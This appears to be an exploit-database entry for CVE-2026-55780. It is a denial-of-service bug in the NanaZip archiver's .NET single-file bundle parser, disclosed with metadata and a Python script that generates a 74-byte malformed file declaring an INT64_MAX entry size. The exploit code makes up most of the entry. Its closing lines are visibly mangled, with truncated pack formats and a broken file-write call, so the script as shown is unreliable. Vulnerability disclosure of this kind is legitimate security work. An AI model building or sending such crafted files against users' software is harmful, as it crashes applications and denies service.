[dos] NanaZip 6.5

# Exploit Title: NanaZip 6.5 - DoS # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/M2Team/NanaZip # Software Link: https://github.com/M2Team/NanaZip/releases # Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0) # Tested on: Windows # CVE: CVE-2026-55780 # Category: dos # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55780-NanaZip A crafted .NET single-file bundle triggers an uncaught exception / unbounded allocation in the DotNetSingleFile handler's Extract(). NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source (NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but was not executed against a running build. Benign — it only generates the malformed carrier file. --- PoC generator (GHSA-ppm9-5267-rq72.py) --- #!/usr/bin/env python3 # PoC generator: uncaught exception / unbounded allocation in NanaZip's .NET # single-file Extract() (GHSA-ppm9-5267-rq72). # # A 74-byte bundle: 'MZ' stub, the 32-byte .NET bundle signature at offset 10 # preceded by an int64 bundle-header offset at offset 2, then a v1 header # declaring one embedded file with Size = INT64_MAX. Extracting that entry makes # DotNetSingleFile::Extract run std::vector(Size) with no try/catch # (NanaZip.Codecs.Archive.DotNetSingleFile.cpp:804); the allocation throws across # the COM boundary. (It also triggers the GetStream(Indices[i]) NULL-deref.) import struct SIG = bytes([ 0x8b, 0x12, 0x02, 0xb9, 0x6a, 0x61, 0x20, 0x38, 0x72, 0x7b, 0x93, 0x02, 0x14, 0xd7, 0xa0, 0x32, 0x13, 0xf5, 0xb9, 0xe6, 0xef, 0xae, 0x33, 0x18, 0xee, 0x3b, 0x2d, 0xce, 0x24, 0xb3, 0x6a, 0xae, ]) HDR = 42 # bundle header offset buf = bytearray(74) buf[0:2] = b"MZ" buf[2:10] = struct.pack("0) struct.pack_into("", "poc.bundle")